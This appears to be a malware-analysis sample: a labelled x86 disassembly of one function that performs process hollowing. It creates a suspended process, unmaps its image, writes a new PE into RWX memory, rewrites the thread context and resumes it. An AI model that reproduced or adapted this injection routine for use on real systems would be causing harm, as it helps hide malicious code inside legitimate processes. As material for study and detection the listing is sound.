Function at 0x51d2f8
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Enumerate pe sections
Execute shellcode via indirect call
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff7c
push ebx
cmp dword [ebp + 0x14], 1
jne 0x51d311
mov dword [ebp - 0x30], 0x8000000
jmp 0x51d316
xor eax, eax
mov dword [ebp - 0x30], eax
mov edx, dword [ebp + 0xc]
mov dword [ebp - 4], edx
mov ecx, dword [ebp - 4]
movzx eax, word [ecx]
cmp eax, 0x5a4d
jne 0x51d55f
mov edx, dword [ebp - 4]
mov ecx, dword [edx + 0x3c]
add ecx, dword [ebp + 0xc]
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 8]
cmp dword [eax], 0x4550
jne 0x51d55f
push 0x44
push 0
lea edx, [ebp - 0x84]
push edx
call sub.msvcrt.dll_memset
add esp, 0xc
push 0x10
push 0
lea ecx, [ebp - 0x40]
push ecx
call sub.msvcrt.dll_memset
add esp, 0xc
mov dword [ebp - 0x84], 0x44
cmp dword [ebp + 0x10], 0
jne 0x51d3a6
lea eax, [ebp - 0x40]
push eax
lea edx, [ebp - 0x84]
push edx
push 0
push 0
mov ecx, dword [ebp - 0x30]
or ecx, 4
push ecx
push 0
push 0
push 0
push 0
push dword [ebp + 8]
call sub.kernel32.dll_CreateProcessA
mov dword [ebp - 0x2c], eax
jmp 0x51d3cd
lea eax, [ebp - 0x40]
push eax
lea edx, [ebp - 0x84]
push edx
push 0
push 0
push 0x1000004
push 0
push 0
push 0
push 0
push dword [ebp + 8]
call sub.kernel32.dll_CreateProcessA
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
je 0x51d55f
push 4
push 0x1000
push 8
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov dword [ebp - 0x10], eax
push 4
push dword [ebp - 0x10]
call fcn.0051d2b4
add esp, 8
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
mov dword [ecx], 0x10007
push dword [ebp - 0x10]
push dword [ebp - 0x3c]
call sub.kernel32.dll_GetThreadContext
test eax, eax
je 0x51d547
lea eax, [ebp - 0x24]
push eax
push 4
lea edx, [ebp - 0x14]
push edx
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x40]
call sub.kernel32.dll_ReadProcessMemory
push str.NtUnmapViewOfSection
push str.ntdll.dll
call sub.kernel32.dll_GetModuleHandleA
push eax
call sub.kernel32.dll_GetProcAddress_2
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x51d481
mov edx, dword [ebp - 8]
push dword [edx + 0x34]
push dword [ebp - 0x40]
call dword [ebp - 0x18]
test eax, eax
jne 0x51d481
push 0x40
push 0x3000
mov ecx, dword [ebp - 8]
push dword [ecx + 0x50]
mov eax, dword [ebp - 8]
push dword [eax + 0x34]
push dword [ebp - 0x40]
call sub.kernel32.dll_VirtualAllocEx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x51d53c
lea edx, [ebp - 0x20]
push edx
mov ecx, dword [ebp - 8]
push dword [ecx + 0x54]
push dword [ebp + 0xc]
push dword [ebp - 0x1c]
push dword [ebp - 0x40]
call sub.kernel32.dll_WriteProcessMemory
mov eax, dword [ebp - 8]
movzx edx, word [eax + 0x14]
add edx, dword [ebp - 8]
add edx, 0x18
mov dword [ebp - 0xc], edx
xor ecx, ecx
mov dword [ebp - 0x28], ecx
jmp 0x51d4e7
lea eax, [ebp - 0x20]
push eax
mov edx, dword [ebp - 0xc]
push dword [edx + 0x10]
mov ecx, dword [ebp + 0xc]
mov ebx, dword [ebp - 0xc]
add ecx, dword [ebx + 0x14]
push ecx
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0xc]
add eax, dword [edx + 0xc]
push eax
push dword [ebp - 0x40]
call sub.kernel32.dll_WriteProcessMemory
add dword [ebp - 0xc], 0x28
inc dword [ebp - 0x28]
mov ecx, dword [ebp - 8]
movzx eax, word [ecx + 6]
cmp eax, dword [ebp - 0x28]
jg 0x51d4ba
lea edx, [ebp - 0x20]
push edx
push 4
mov ecx, dword [ebp - 8]
add ecx, 0x34
push ecx
mov eax, dword [ebp - 0x10]
mov edx, dword [eax + 0xa4]
add edx, 8
push edx
push dword [ebp - 0x40]
call sub.kernel32.dll_WriteProcessMemory
mov ecx, dword [ebp - 8]
mov eax, dword [ecx + 0x28]
add eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x10]
mov dword [edx + 0xb0], eax
push dword [ebp - 0x10]
push dword [ebp - 0x3c]
call sub.kernel32.dll_SetThreadContext
push dword [ebp - 0x3c]
call sub.kernel32.dll_ResumeThread
jmp 0x51d550
push dword [ebp - 0x40]
call fcn.0051d2e9
pop ecx
jmp 0x51d550
push dword [ebp - 0x40]
call fcn.0051d2e9
pop ecx
push 0x8000
push 0
push dword [ebp - 0x10]
call sub.kernel32.dll_VirtualFree_1
cmp dword [ebp - 0x40], 0
je 0x51d56a
mov eax, dword [ebp - 0x40]
jmp 0x51d56c
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret